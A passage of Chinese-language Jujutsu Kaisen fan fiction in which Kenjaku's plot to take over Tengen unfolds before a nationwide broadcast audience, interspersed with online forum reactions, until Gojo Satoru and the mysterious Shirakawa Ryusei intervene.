那个人真的是在一点点折腾、改进,在几十年如一日、死水般毫无波澜、让人恶心的咒术界,拖着所有人往好的方向走。咒术师们很少有见过他的,风言风语倒是听了不少,也有说他和御三家沆瀣一气,不是什麽好东西的,但大部分人下意识拒绝相信这种话。 一个人怎麽样,看他做了什麽不就行了?那些改动可是完全与既得利益者的御三家无益,相反,政治上的傻子也知道,肯定会扛着冒犯旧利益集团的巨大风险。 普通人正在社交平台疯狂讨论“白川琉世”何许人也,甚至有人利用职权和黑客技术,人肉叫这个名字的人。但所有知道白川琉世身份的咒术师,纷纷遵循缄默原则,一言不发。 不讨论白川先生的名字,是因为不使事态更混乱的社会责任心。 也是对白川先生的尊重和回报。 但咒术界不仅有咒术师,还有诅咒师,不浑水摸鱼都对不起他们的身份。 [咒术总监部实际上的掌权人,那个毛头小子,走后门进的总监部,所以升的这麽快。] [还在诅咒师通缉令上挂着呢,哈哈哈哈,四级诅咒师,笑死我了。] 胡说八道。 正在刷论坛的九十九由基翻了个白眼。还四级?特级都不够装这个人的,这群诅咒师真敢说啊。 她忙拍了拍旁边忙碌的警察,“警官,让技术加屏蔽词,总监部、诅咒师,带这个词汇的不能发。” 九十九由基临时被下属七海安排,去警察厅协助控制网络舆论,这事需要熟悉咒术界的人才能做。警察厅那边接头的负责人名叫竈门炭彦,一个酒红色头发的青年。 竈门:“好,技术马上就加,还有什麽请您时刻注意。” 九十九由基点点头,政。府对这事的态度,和白川下达的命令一致,想捂嘴,但已经铁暴露、捂不住的东西就不再封锁,只留神先稳住那些还没有暴露的,不想太快让民众知道。 白袍人已经说出去的东西,不能不让大家说,否则会引起民众更大的恐慌,但是总监部和其他一些东西,全都要在消息传播的途中扼杀掉。 他们要在舆论上找一个最能维护现阶段稳定的平衡点。 竈门炭彦年龄很轻,长相和善,但在警察厅的官职诡异的高,据说是卧底过一个知名黑色组织。更让人震惊的是,竈门竟然说他是白川的儿时夥伴。 九十九本来不太信这种事,但竈门很快接了个电话。 “你好,绊子阿姨?……我这边暂时没有他的消息,嗯,别担心……警方这边的意思是不派人过去。琉世的情况你也知道,根本不用担心,你和愈史郎先生先保重自己的安全。” 九十九不禁发出疑问的哼声,竈门炭彦挂了手机,自然地解释,“啊,是琉世的妈妈。” “他竟然有妈妈?”真不是石头缝里蹦出来的啊。 “太失礼了吧,九十九小姐!” * 盛夏的蝉狂鸣,敲击着在场每一个人的神经,白袍人面色狂喜,继续他1亿余人观众的演讲。 “我是羂索大人的代行者,盘星教现在的发言人,池田彰。现在,我要在天元大人所在的地方,揭露隐瞒了全国人民上千年的秘密,那就是咒术界的存在,和天元大人掌控着笼罩日本的净界!” 他目之所及的倾听者,数目众多的白袍人士,面色沉醉,微微颔首,一边的夏油杰默不作声,似乎没人给予他足够的反应,但白袍人依旧感到十分满足。 因为全部日本人全都听到了他的话。 [他到底在说什麽?什麽是天元?什麽是净界?] [如果这个咒术高专是真是存在的,为什麽之前没人发现那个咒术界?] [咒术界是什麽意思,为什麽我们能看到那些东西,被施咒了吗?] [让我们看到这些有什麽意义,做个明白鬼吗?话说回来,白川琉世又是什麽人?] [拯救世界的人?总是最后关头赶来的主角?] [有没有人告诉我现在能出国吗?急!] [我找到有白川牌子的房间了!在东边第二个楼的三楼,但视线进不去,看不到里面。] [这个我也找到了,有什麽用?只是个姓氏牌子而已。] [这种事警察不管吗?真的受够了,一出事就做缩头乌龟,我看日本真是完了!] 白袍人停顿的几秒钟,各种消息通过网络疯狂涌出,但他无知无觉,继续着演讲。 “……千年来,天元大人一直是世间最纯粹、最神圣、最接近于神的存在,但是和星浆体的同化破坏了这点!天元大人的纯洁一次又一次遭到污染,现在已经不配作为我们崇拜的对象!” [他在说什麽啊?搞邪。教的?] [神情好激动,不会真的要做什麽过激的事吧?] [疯了吧!是我们全体发疯了?!] [他一直在说什麽天元,是要杀了他吗?] “但是,事情并非不可挽回,我们的夏油术师,拥有百年难得一遇的咒灵操术,经过他的控制,羂索大人有办法把污染过天元大人的灵魂剥离出来——!” [很生气日行一善(谈恋爱的滚远点版):胡说八道!神经病!灵魂剥离也是你配掌握的?你也是神?] 最上启示蹲在计算机前,J-talk论坛从没这麽火爆过,他操纵桌上一支灵幻的笔,火速敲打着键盘,瞬间数条消息发送,速度比人类用手敲快多了。 [我劝你别那麽快找死,别仗着自己人类的身份当挡箭牌,真生气了他不是不会杀人。] [搞邪。教的脑子都不好,裤衩子都给人骗干净了。] [可笑,荒谬,跳梁小丑,你们根本不懂。] [一亿日本人,能挡住他多久?] 众网友像鲨鱼闻到了血腥味,追着这个很生气日行一善,想在他嘴里撬出更多消息。 很明显他是知情人! 但那人激情发泄后,马上装死,什麽也不说了。 * “一亿日本人,能挡住我多久?”一双手按在帐上,青筋暴起,“羂索,我也很好奇啊。” 一亿人类的愿力,确实是巨大到极点的能量,化为笼子,为担惊受怕、垂死挣扎的谋划者提供暂时的庇护。 不仅如此,那三百多个普通人类,同样是围绕在羂索身边,在计划启动前保护他的笼子。 羂索肯定在里面。 最后的□□,羂索一定会亲眼目睹这一切,他千年的宏愿,不把自己塞进去,当成燃料炸掉,怎能痛快? 不对五条悟设防,是根本没打算活下去。只要计划成功,他什麽也不在乎。 这处的帐也承载不起格外的代价,再把六眼隔绝在外面了。 透明的光华至指尖绽出,覆上黑色的帐的外壳,至上蔓延。 那片空间带着全部日本人的愿力排斥了他,目前确实进不去。 但那又怎样呢? 第74章 道理我都懂,可为什麽是… 池田彰的话未免太多了。 当然,在场只有夏油杰一人感到厌烦,其他盘星教教众兴致高昂,随着池田的话频频点头鼓掌,简直算得上热泪盈眶。 和十二年前没什麽区别的…… 真可笑,羂索不过是骗他们的。用蛊惑池田的话,蛊惑了所有人,带着这麽多人类前往高专,不过是打着净化天元的幌子,遮掩他真正的目的。 自己独闯高专,就算是特级也是找死,弄出个举世震惊的特殊的帐,也同样是找死,但藏在一堆普通人里面,真是聪明的举措。能进来的六眼看不出羂索和其他普通人的区别,能看出羂索本体的白川琉世暂时进不来。 他的视线在三百多张近乎趋同的脸上扫过。 没人额头上有缝合线,十年来,他一直没和羂索面对面联系过。哪一个是羂索,就连他也不知道。 “你话太多了。”他打断池田,嘲意十足,“再耽误一会,就没命怎麽天元了。” 池田一噎,不敢反驳,只是畏惧地往后一缩。夏油收回眼神,不动声色地跟在行动起来的池田身后。 通往天元之处的路,羂索果然告诉了池田,却没和他通气。 不过,既然做了这样的选择,羂索信不信任他不是无所谓了吗? * [那个穿袈裟的人是他们老大?另一个人好像很怕他。] [我觉得不是,应该是地位比较高的合作夥伴?] [现在是要去控制那个天元吧?真的有活了一千年的人吗?] [你们还能心平气和的上网,真的没问题吗?还是赶快买出国的机票吧!] 虎杖深吸一口气,放下手机,震惊地看向吉野。 “咱们学校还有这种大人物,为什麽五条老师没说过?” “五条老师的话,忘记告诉我们也正常。” 虎杖一时竟然无法反驳。 “好紧张。”他抱紧了桶装爆米花,双脚踩在沙发上缩成一团,“总觉得那个天元出意外后,一定会发生可怕的事情。” 呜啊啊啊啊五条老师快点赶到啊,虎杖紧张地脚趾都蜷起来了,眼睛一眨不眨地盯着自称池田的人进入昏暗的走廊。 虽然有点不合时宜,但真的好像游戏场景啊,他根本不用特意去操纵什麽,只要心里一想,视线就跟着念头动了。 高专竟然有这麽大的地下建筑,空旷的空间,还有不知道通往哪里的一条条走廊,那个叫池田的好像提前知道天元的所在之处,领着一长队白袍人通过,场面颇为壮观。 “道理我都懂,为什麽高专底下连酒吧都有啊?” 那桶爆米花还是没保住,随着虎杖激烈的颤抖撒出来一些,不过吉野也没空管这些了,他的震惊不必虎杖少。 推开门,映入眼帘的是一个穿着长袍的大、大拇指脑袋? 池田叫他天元,他没有否认,之前那些人口口声声说着的天元大人,最接近神明的人,就是这种令人失望的样子? 吉野顺平震怒。 不仅没有丝毫神的气场,别人都上家门了,也没什麽表示,就这麽水灵灵地等着麻烦找到头上。 [他才不是什麽神明!] “啊?顺平,你怎麽也发上论坛了?” * 全国网友都偏了重点,[道理我都懂,但为什麽是大拇指?][道理我都懂,为什麽突然出现了酒吧?]类似的话刷爆了社交平台,不得不说娱乐至死的时代,什麽样的人类都有,池田、夏油和天元还没说几句话,大拇指天元的梗图就已经P出来了。 不过现场的气氛还是很紧张的。 “夏油,我知道你们要做什麽。”天元还算镇定,坐在吧台上,口中叫出的却是一个陌生的名字。 [新名字?夏油是那个袈裟男?] [看样子应该是。] [哇哦,好像在玩全日本人参与的实景探案推理游戏,好有参与感!] [这位网友你是否过于乐观了。] “是吗?那抱歉了,天元大人。”夏油杰的语气算不上抱歉,甚至算不上礼貌,他向前走去,“很遗憾,你的护卫被我们调走了。” “他们在这里,也起不到什麽作用,只会白白丢掉性命。”天元的情绪一直很稳定,“最后也不和老相识叙叙旧吗?羂索。” [羂索?是这两个字吗?谁是羂索,我是不是漏看了什麽?] [天元在看后面的一群人,羂索在他们里面?] 羂索当然不会现身,夏油杰冷笑一声,“也差不多了吧,天元大人,想拖延时间?” 他已经十分厌倦,一点也不想等待了。 无数咒灵争先恐后爬出来,围绕在夏油杰身边,不断增加,填满了整个“酒吧”,池田和白袍人退后了一些,但没有退太远,依然坚定地等着看天元的“净化”仪式。 那些教众只是普通人,但在大量咒灵聚集的压力下,全部看到了咒灵。没人退缩,也没人害怕,因为那是盘星教代理教主夏油杰所掌控的咒灵,对“净化”天元的狂热已经使他们丧失了基本的恐惧。 [怪物啊啊啊啊啊啊啊我的眼睛要瞎了,不要过来!] [不要慌,我们看到的只是影像,不是碰不到你吗?] [虽然如此,但这不表明了世界上确实有这种怪物吗,只是目前我们没有遇到。] [他不会把这些东西全放出来吧?疯了?] 无数普通人的眼睛,因为帐的束缚,同样获得了短暂看到咒灵的能力。而疑似咒灵主人的夏油,一步步走向了天元。 * 七海建人坐在自己办公室里,总监部所有还在办公楼的高层全挤在这里。他只是科咒部的副部长,办公室不大,那些同级和上司只能站着和他交谈。 现在没人在意那些细节。 和政·府的交涉还算顺利,都是些没有决断的人,一旦把难题抛给他们,他们半个月都商量不出来一个决策,但把决策直接告知他们,请求配合,再把后果说的严重点,受到的阻力就不大。 当局对咒术界不算十分了解,还是存在忌惮的,这架势,万一把日本整沉了他们都信。 “七海副部长,您也知道天元大人的重要性,如果他出了意外,我们根本应付不来。” 那些老橘子被换了个遍,唯一留下的就是对外协调部部长田中康弘,此人滑不留手,做什麽都留有余地,也没犯过什麽大错,七海猜就连白川也没有换他的理由。 “没错,天元大人控制的结界出了意外,日本很快就会沦为咒灵的游乐园,这实在是不能马虎的事。”新的战术指挥部部长是刚提拔的平民咒术师,“虽然白川副总监下了命令,但事情紧急下,稍微灵活下也行吧?咒术师又不是普通人,派人去帮忙不行吗?” 七海的头都要炸了,他本身就不是对压力迟钝的类型,白川把这麽重的责任丢给他,真让他压力大到胃痛。 “……我认为还是遵循白川的命令,这并不是出于没有责任心或害怕担责,事情一定比我们想的更复杂。”七海一边看着天元那边的情况,皱着眉,认真地说,“而且,已经来不及了。” 事情发生的很快,从出现帐到夏油杰操控天元,只过了十几分钟。 屋子里一阵难捱的沉默。 [“做的好,夏油大人,现在我们终于可以净化天元大人了。”] 七海的视角拉近,他一直在看池田,不知是出于什麽心理,很少看那位曾经高专的前辈。 原来天元与星浆体同化失败后,在这十二年间,已经逐步咒灵化了吗。被夏油杰控制住的天元,身躯和面部呈现微微融化的样子,了无生息地飘在一旁,马上,就被池田在额头上贴了张黑色符咒。 “大家不要太过担心,”七海适时安慰众人,“白川一直都在关注天元大人的事,不是没有留下丝毫准备。” 总监部的众人刚松了口气,影像里夏油的声音就让所有人一愣。 [“蠢货,你不会以为,这就是羂索想做的吧?” “净化天元?她怎麽会在乎这种东西。”] * 夏油杰的声音因为抑制不住的笑声而失真。 “操纵天元的下一步,并非净化,而是通过天元控制净界,用结界把整个日本垄断,限制人的出入,再投放十年间由我收服的万余只咒灵! 到时候,天元通过净界对咒灵形成速度、强度的抑制将会消失,人类将会陷入与咒灵搏杀的无间地狱,然后,人类的负面情绪将大幅增强,又能进一步增强咒灵的强度!” 十几年前,他无比赞同的“间苗法”,此刻终于要实施了。 “现在,通往彼世的钥匙在我手上。对马上要开启的咒灵炼狱大逃杀,感觉如何呢,各位?” 池田失去了表情,面容一片模糊,三百多白袍人也是一样,朦朦胧胧,像雨天甩在玻璃窗上的水滴,看不真切。 [现在可以了吧,悟?] [可惜,如果是白川……] 似乎回应他的心有所想。 一阵巨大的轰鸣声,夹杂着让人站立不稳的晃动,至头顶响起。 “感觉不怎麽样嘛,杰。” 第75章 被愚弄的三者和三个疯子 整个日本境内,神志清醒的所有人,不约而同愣了几秒。 十几分钟前开始拥堵,一度瘫痪的社交平台,三秒内刷不出任何消息,还在打着对夏油杰话语评论的人,敲打键盘的动作缓缓停下。 咒术界上万人,认识五条悟的,见过他的,只是听说过他的,此刻又一次刷新了对他的印象。 不是所有人都见过那双眼睛。 更别说对五条悟闻所未闻的普通人。 天光随着轰开的破洞照进地底,一道身影淩然站立在空中,白发被灌进来的风吹乱,纤浓睫羽下是一双纯净剔透、波光流转的眼睛。 是让人觉得震撼,进而感到困惑的超规格眼睛。 [这是CG吗?] 短暂的静默后,网络以更加惨烈的姿态迎来堵塞,层出不穷的帖子,论坛里的讨论和带着tag的发言多到无法令肉眼捕捉,流量爆到史无前例,这种盛况被后世亲切地称为710事变。 [他是真人吗?我一开始以为这些都是真的,但会不会是某种高科技入侵人类大脑,或者人类集体感染病毒,我们看到的是某种幻想的场景?] [有可能,但人类的意识怎麽能创造出这样的容貌……不如说偶得天成的人类才更有可能。] [太好看了……好完美的一张脸,好不可思议的眼睛……] [他站在天上,其实他才是神吧,是神吧?] [我绝不承认那个随便便当的大拇指是神,如果真的有神,一定是他这样的。] [天呐……如此的神迹。他太好看了,一看就知道他是好人啊。] [我有心脏病,我不能再看了!我要过载了!] [他是白川琉世吗?] “哟,悟。” 夏油短短的一个称呼又刷爆了网络。 [不是之前说的白川琉世,他叫悟!我没听错吧,是叫悟吧?] [没听错!我听到的也是悟。] [他们怎麽好像很熟悉的样子,夏油的全名是叫夏油杰?] [我好想知道悟的全名,快交流啊啊啊啊啊啊。] 五条悟垂眸,看着脚下的闹剧,其他都不重要,只是天元脑门上贴着的那个符咒,令他轻松笑着的表情沉敛了一些。 应该和羂索贴在琉世身上的符咒是一个类型的,嘁,这样就棘手了。 “快把它揭掉,杰。”他马上开口,这种时候还是离得比较近的夏油方便动作。 “夏油大人啊,到底谁是被骗的蠢货。”池田却诡异地微笑着,后退到人群里面,“难道羂索大人会猜不到谁是叛徒吗?” 知道他是叛徒,那也无所谓,夏油是这麽想的。羂索还能怎麽做呢?哈,可笑,反正悟在这里,羂索也现了身,他该做的都做完了。 那块符咒在所有人盯着它的时候,忽然发动了。 “杰?”五条悟看着僵住的夏油,疑惑地叫了一声,那双眼睛马上睁圆,嘴角一扯,狠狠皱眉,又扫视了盘星教教众所站的地方一眼。 羂索肯定在这里,以那个老不死的疯狂的性格,自己又活不了多久,肯定想亲眼目睹这场闹剧。 [他皱眉也好美丽,就是……非常美丽,不知道发生了什麽,但我希望最后能看着他的眼睛死去。] [我已经在画了,能画到这辈子的缪斯我也是值了。] [能不能收收味,来个聪明的讨论一下剧情啊!] [应该就是明面上说的,谍中谍中谍,夏油以为池田被骗,结果是夏油被骗了,他们都提到了羂索,应该是操纵两个人的幕后boss。] [不,看气氛,夏油和来救场的好像是一夥的?他应该早就知道自己被骗了,所以才会反水?现在是将计就计吗?但是羂索和池田那方,也知道夏油是叛徒。] [夏油怎麽不动了?那个符咒是怎麽回事?好像让悟紧张了。] [羂索既然早就知道夏油是叛徒,肯定不会不留后手吧?] 夏油杰沉默地站在原地,感到一个个咒灵脱离他的控制,由他控制天元的渠道,被天元那方疯狂汲取。 咒灵,还有伴随着咒灵的咒力,全都极为快速地离自己远去,天元那好像一个吸力强大的漩涡,而他反而因为咒灵操术对天元的单向控制,无法摆脱天元的吸收! 有些好笑了,正如十一年前在那个村子感受到的白川的情绪,同样的痛苦席卷了他。 五条悟看他这不疾不徐的样子,恍然想到一种可能,“你不会觉得和天元一起被轰成渣很酷吧,杰?” 所以才没有阻止池田往天元身上贴符咒。 淬冰的苍蓝色眼睛,高高在上向下瞥着,虽然依旧皱着眉,眼神中却意外地没有任何特别的神采。 [神。] [好像一尊神像……] [虽然这麽说,但不要神化某个人吧?他也有自己的名字,万一做出不符合你们期待的事情……] [笑死,楼上的毒唯心态已经比前面两楼更深了,不过无所谓,我也一样。] [夏油杰到底是怎麽回事?我看不懂了,不是有人说他和悟是一夥的,卧 底羂索吗?怎麽好像悟也对他的行为很震惊?] “到底谁是被骗的蠢货,我们三者都是罢了。”夏油杰没有让众人疑惑太久,捂着自己的下腹,笑声因为疼痛扭曲失真,“没错,为这一切做个了结。动手吧,悟,做你认为正确的事。” 池田融入白袍人之中,面容依旧模糊,他平静地说,“我们为与天元大人融为一体感到荣幸。”所有白袍人一起鼓起了掌,哗哗哗哗,像雨击打在海面时的浪潮。 [怎麽又说融为一体了?剧情偷偷自己跑了我没看到?] [对啊,什麽情况?] [我也看不懂了,所以羂索本来的意思是让白袍人和天元融合,白袍人也知道,他们和夏油不是一心的,因为夏油能操纵天元才费心骗他。] [平成年代的福尔摩斯:应该是互相骗的局,羂索和池田表面上假装净化天元,降低夏油的警惕心,为了“骗”的更真实,羂索私底下又告诉了夏油一个控制天元,放出咒灵填充日本的版本。我猜如果夏油与羂索本身存在合作关系,那至少是夏油表面上提出的设想,羂索提出来后,就算他背后反水了,也不能拒绝,只能答应。] [不是,你怎麽在别人短短几句话的时间推理出那麽多的?] [什麽啊,警察?职业侦探?脑子转这麽快?] [平成年代的福尔摩斯:另外,根据结果逆推原因,我猜测夏油那边完全知道羂索的想法,包括“让咒灵填充世界”是虚假的目标。而羂索也知道夏油知道他的想法,但夏油的反水没有特别彻底,还保留自己的目的性,羂索对夏油有一定程度的了解,知道两个人的盘算能在某种程度上达成一样的目标。因此,羂索并不担心夏油做揭掉那张符之类的关键举动。] [平成年代的福尔摩斯:夏油反水羂索,倒戈悟,但又没完全倒向他。根据目前的线索,尽管动机不同,现在的局面应该是羂索和夏油共同认可的。] [什麽?我好像有点懂了。] [我是完全没看懂啊!] [我也是我脑子简单,可以这麽理解吗?羂索的目的是搞破坏,悟是救场,那夏油想干什麽?] [啊啊啊悟,他下来了!] 五条悟站在白袍人和天元、夏油杰中间,指间慢慢聚起紫色的光芒,他垂着手,声音冷的要滴下水来。 “断掉和天元的链接,杰。” “我做不到。” 谁也不清楚夏油杰是做不到还是不想做。 看来羂索的计划是让天元不停地吸收咒灵,或者还有人的灵魂,五条悟的余光是一大片朦胧的白色人影,那道符咒开始起作用后,根据琉世的经历,天元会源源不断吸取全世界的咒力,然后是灵魂。 从一个小点,爆发至全日本。 羂索还是忘不了让天元和全部日本人混合在一起。 “你也知道,断掉链接也没用,我只是第一个祭品而已。” “我只有一个问题,杰,羂索知道你是这麽想的吗?” 放弃自己的生命,成为羂索完成计划的一环。同时,将一切当做帮助五条悟捉住羂索的诱饵。 果然,之前和杰交联系时,淡淡的违和感终于被印证。 “羂索什麽都知道,悟。” 夏油杰不在乎性命,不在乎这个世界被羂索的计划扰乱成什麽样子,甚至不在乎羂索真正想做什麽。 他要羂索死。 羂索不在乎夏油有自己的打算,她知道夏油要她的性命。无所谓,没有什麽比咒灵操术更适合做天元的引爆器,她要计划完成,同时欣然赴死。 两个疯子。 紫色的光芒骤然扩大,引力与斥力撞击,产生无穷假想质量的虚式茈在掌中跃动。 还好,他也够疯。 五条悟垂眸看向天元。万余只咒灵正疯狂改造天元的形态,不会留给任何人反应的时间,只能在吸收之前处理掉。 “与天元大人融为一体是我的荣幸。”“天元大人!”白袍人纷纷横穿过五条悟,往天元的方向扑过去,那掌中握着足以毁灭世界力量的人,表情出现一瞬间的空白,目光穿过人潮,看向天元。 * “停下,悟!” 尽管虚影中的人不能听到,五条彻还是不由自主按着桌子站起来,激动地说。 那些盘星教的人都是普通人,尽管愚昧不堪,随便就能让人用完全相反的教义洗脑,但在所有日本人面前,用茈把三百多人连带着天元和夏油灰飞烟灭,他难以想象悟会面临什麽样的舆论压力。 解决了一场毁灭世界的大危机,并不会格外受到嘉奖,危机毕竟没有发生不是吗?谁也不会知道如果不采取措施,会发生什麽严重的后果。 但如果留下了这样明晃晃的把柄…… 作为父亲,五条彻的第一反应,是让五条悟停手。 第76章 做成游戏开场动画指定大卖 “五条悟,现在,你要怎麽做呢?” 一个立方体咔哒滚落在脚边,手掌大小,普普通通,没什麽奇怪的,甚至观看虚影的人很多都没注意。 他们是通过五条悟忽然向下的视线看到的。 [他的名字是五条悟?我终于知道了。] [这个人是谁?大BOSS?羂索?终于出现了?] [怎麽这麽平平无奇,刚刚就藏在人群里面吧?我们都没人发现他。] [杀了那群人啊!不要圣母,不杀他们后果很严重吧?] [就是,为什麽犹豫?赶紧动手啊!] [有良知的人总是会犹豫一下吧?就是因为有你们这样的人,所以才会更加犹豫,反正怎麽做都会被骂。] [虽然生命是无法比较的,但这些邪。教蠢货的生命就别那麽在意了!] [重点不是那个,悟在看那个小盒子,是怎麽了,好像表情更凝重了?] [他紧张了?那是什麽道具?] 狱门疆。 不可以过度思考,然后迅速离开那里,是白川琉世曾经不停在他耳边啰嗦的话。 ["看到了马上跑开,但也不用太慌张,我回现代之前,在飞天里存储了天使的术式,万一被关进去,也能把你放出来。"] [“你的咒力也能把它劈开吧,哇,准备的太周全反而有点恶心了。既然你全都安排好了,我只需要像正常人类那样临场反应就行了吧?”] [“还是不想让你被关进去啊,关禁闭诶,想想就不舒服。”] 像个正常人类那样临场反应。 这场有点大了啊,琉世。 不能站在原地思考,会被封印,他打算转身先离开,看到天元那边马上就要吸收干净夏油杰的咒灵,硬生生停止了脚步,就这麽离开,天元一定会进化成难以把控的样子。不,还是离开吧,那种事后面应该能想办法处理……但是,琉世有打开狱门疆的办法,既然这样,被关进狱门疆也不是不能忍受的选项,那还是先控制局面。展开领域?不,现在的情况没有必要,效率最高的还是用茈…… “哈,哈哈,思考吧,尽情思考吧。”仔细看,羂索依旧用着虎杖香织的脸,但五官做了很多整形,几乎变成了另外一个人,尤为明显的是额头上的缝合线早就没了。 “特级咒具狱门疆,你应该知道效果,脑内时间也是时间啊,五条悟。” 就像一滴水融入大海,羂索融入盘星教教众之中,不管是呼吸、心跳、血液奔流的速度、面部表情……一切都与其他人无异,只在这时通通撕开伪装,爆发出难以抑制的大笑。 思考吧,五条悟,思考的越多,你的时间就过得越快。害怕被关进狱门疆吗?没关系。 不被关进去也无所谓,狱门疆的作用,就是在混乱的局面为五条悟的选择再横插一杠,扰乱他的思绪。 在全部日本人的眼睛下,谁都要考虑选择的合理性,不管是杀人还是跑掉,都会面临无可避免的指责。如果选择摆烂被关进狱门疆,那不是五条悟的风格。 当然,羂索的目的并不是折磨五条悟,他看着马上将夏油杰的咒力吸收完毕的天元,愉悦地眯起眼睛。 五条悟的时间已经拖的差不多了。 他自己显然也了解当前的局面,最强狠狠地皱眉,眼中的愤怒几乎要掀翻羂索,不得不做决断了,手中的茈爆发出前所未有的光芒。如此盛极的、瑰丽的色彩,仅仅是虚影就刺痛了所有观看人的双眼。 气氛太紧张了,根本没人舍得看社交平台,但也有手速快的人在发消息。 [快杀了他们啊?在干什麽啊?另一边可是我们所有日本人的性命!] [特级咒具狱门疆又是什麽东西?] [他一定很为难吧?不管怎麽说,那些人也是人,他肯定在犹豫吧?] [哪来这麽多圣母,出了事你们先去死好吗?] [他不是已经准备动手了吗?我的眼睛!] [他刚刚的表情,我感觉并不是不想杀人,那个狱门疆影响了他吗?] [你们在胡说八道什麽啊!如果有足够的时间,悟大人明明可以把所有人都救下来,但时间来不及了!] 五条葵气的发出去一段话,马上就有人嗅到她是知情者,不停追问,但她已经没心情理会了,把手机一扔,靠在松岛优奈肩膀上哭起来。 悟大人,你都保护了些什麽啊。 明明一下子就能把所有人全都碾碎,但总有讨厌的人搞阴谋诡计设计悟大人。无论怎麽做都不对,怎麽做都会有人指责,但悟大人仅仅只是强大而已,这也有错吗?这种事她只是看着就承受不住了,难以想象身在舆论中心的人的压力。 松岛优奈安慰地拍了拍她,虽然没问,但从五条葵的姓名牌就能看出来,她和五条悟应该有亲缘关系。 没办法说“没关系的”这种不痛不痒的话。 但是没关系的,松岛奇异般的没有任何心慌。她用手臂环着五条葵,在世界末日般的此刻,忽然感到一股不寻常的镇定。 好像依然待在卡密掌管的地方一样,什麽也不用怕,一切痛苦都离她远去了。 “诶?” 那种感觉不是错觉。 两个女孩分开,一齐看向窗外,晦暗的天空,不知何时又附上一层更加浓郁的黑雾,让夏日漫长的天光提前入夜。 “卡密!”松岛从沙发上跳起来,双手紧紧捂着自己心口。 黑雾无边无际,覆盖在天空的帐上,而虚影中也流淌下浓郁的暗色,耀眼的茈,混乱的白,逐渐狰狞到面目可怖的天元,纷纷被黑暗淹没。 “你好啊,羂索。” 一道低沉、嘶哑,压抑着极致怒意的男声响起。 无数人屏住了呼吸,短时间内接连的反转让人难以思考,只能机械地睁着眼睛,听着陌生的声音响在耳边。 一双手撕裂了空间,青筋暴起、骨节突出,从黑暗中探出,指尖因为极端用力变得发白,无数人因为惊骇猛地后退,疑心这双手会撕裂虚影,来到他们面前。 还算看直播心态的日本人民,进一步增加了面对真实危险的恐慌。 “想起来吧,羂索,我允许你想起来。” [这是什麽情况?我刚刚还以为有双手真的突破空间来抓我了。] [新人物登场,让我看看是怎麽个事。] [反转反转再反转,要是做成游戏开头动画指定大卖哈。] [各位是一点不紧张啊?] [这时候还有心情上网聊天的你觉得是什麽正常人吗?] [很生气日行一善(谈恋爱的滚远点版):没事了,大家都散了吧。] [这不是那个知情人吗?人类都要毁灭了你还藏着掖着,这才四点多天都要黑到看不清了!] [对啊,邪了门了,开灯都没用。] [哇哦,羂索的脸色好难看啊。] [确实,她怎麽了?] “不,你……” 千年前的记忆,因为束缚的解开涌入大脑,极度震惊下,羂索无法自控,大脑本能地处理超规格的信息。 “你怎麽会知道?” 她脚步摇晃地转身,这场局做的太久,千年藏在幕后的人,怎麽会想到有人从一开始就把她套住?黄泉津是怎麽提前知道这一切的?哪里出了纰漏?哪里是她没有预料到的? “不可能!” 超出常人的情绪控制能力早就失灵,羂索不可置信地喊着,逃走的脚步踉跄了一下。 脑中最后一个画面定格,穿着白色狩衣,神情冷肃的神明,高大的身影逼近,阴影笼罩了她的身躯。 “狱门疆,关。” 狱门疆忠实选取了脑内时间过得最快的那个,果断把人叉住,吞吃入腹。 [我去,宝可梦!] [神他妈宝可梦,我恨你们这群说话没有分寸的网友。] [羂索被吃了?] [原来因为这个悟刚才才这麽犹豫。] [这不是羂索自己扔出来的吗,怎麽把她吃了?和新出场的人有关?] [必定有关,我现在好奇新出场的人物要怎麽被送走了。] [越来越黑了,快要一点都看不见了!] [怎麽没了?这麽大个天元?] [还有这麽大个夏油,和那些搞邪教的?] 天色越来越暗,虚影里的影像更是暗的马上要看不到了。除了五条悟以外的任何人,包括狱门疆,通通被白川琉世扔进了黄泉津比良坂。 白川琉世撕开帐,踏了进来,随着帐被破坏,高专的场景在一亿余日本人的眼前逐渐模糊。 他们隐约看到一个高大的身影,中长未及肩膀的头发,黑暗中显出一点耀眼光辉的金色眼睛,模模糊糊,在浓稠黑雾的缠绕下,看不清面部轮廓。 [糟了糟了,要看不见了,怎麽回事?] [真正的反派boss登场了,要和悟打吗?] [真的是反派吗?搞掉了羂索,不是来救场的吗?] [开什麽玩笑,就他这个登场方式,不是boss我直播吃天元好吧。] [别在这骗吃骗喝。] [绝对是反派,像地狱里爬出来的恶魔一样。] [悟要怎麽办?好担心啊啊啊啊啊啊!] [坏了,果然不对劲!] [我就说不是好人!] 几近消失的虚影中,登场的神秘人物,似乎要往五条悟的方向走,却忽然停顿了一下,匆忙在空中撕开裂缝,踏进去消失了。 裂缝逐渐收拢,只留一小块空隙,从中涌出众多锁链,直直向前,缠绕在了五条悟身上。 高挑的身影一动不动,没有闪躲,任由灵活的锁链缠住胸口,腰腹,双臂,在上面游走。 [啥情况啊?怎麽人跑了。] [悟被控制了吗?怎麽一动不动的。] [该说不说,有点奇怪了啊,如果在玩那种游戏这显然就是……] [随便乱开黄腔的人能不能去死?] [消失了,什麽也看不到了。] [天也亮了诶。] [危险是不是解除了?] [不要下播啊啊啊啊啊啊!] * 没事了! 松岛优奈和五条葵跳起来,互相击掌,然后紧紧抱在一起。 两人刚认识,或许因为吊桥效应,一起经历了这麽刺激的事,友谊极速升温。 那是卡密/白川先生,别人不知道,她们还不认识吗? 松岛的电话忽然响起来,是小林沙耶打来的,她马上接了。 “优奈?你没事吧,刚刚前田告诉我,你去那边了,你现在……?” “我没事,马上回台里,刚刚……”松岛忽然感到一阵眩晕,手机没拿稳掉在了地上,人也摇晃了一下,被五条葵扶住了。 脑海中忽然浮现出的画面让她惊叫出声。 “优奈,你怎……”小林沙耶焦急询问的话语半路摔在地上,刚从办公室走出去的短发女人,也忽然扶住墙壁,大脑针刺一样疼痛。 “什麽……?”她不可置信地闭上眼睛。 一张刚刚刷新她认知的俊美面容,鲜血黏湿白色的额发,流进澄净如洗的蓝色眼睛。 像在24帧中额外横插1帧,清晰无比的画面突兀地插入她普通的三十多年记忆中。 * 浪速大学附属医院,心理科二诊室。 "所以撕裂空间是真实存在的。"黑泽心如死灰地说。 “我都说了,你一直不信。”高桥莫名有种被人理解的痛快,“那个人绝对是之前我们执行任务的对接人,叫白川的吧?撕裂空间,还有锁链,而且眼睛是金色的,绝对没错。黑泽,没想到我搞到了一手消息。” 黑泽狂刷手机,“网上都爆了,大家都推测后续呢,认为白川会和五条悟展开战斗。” 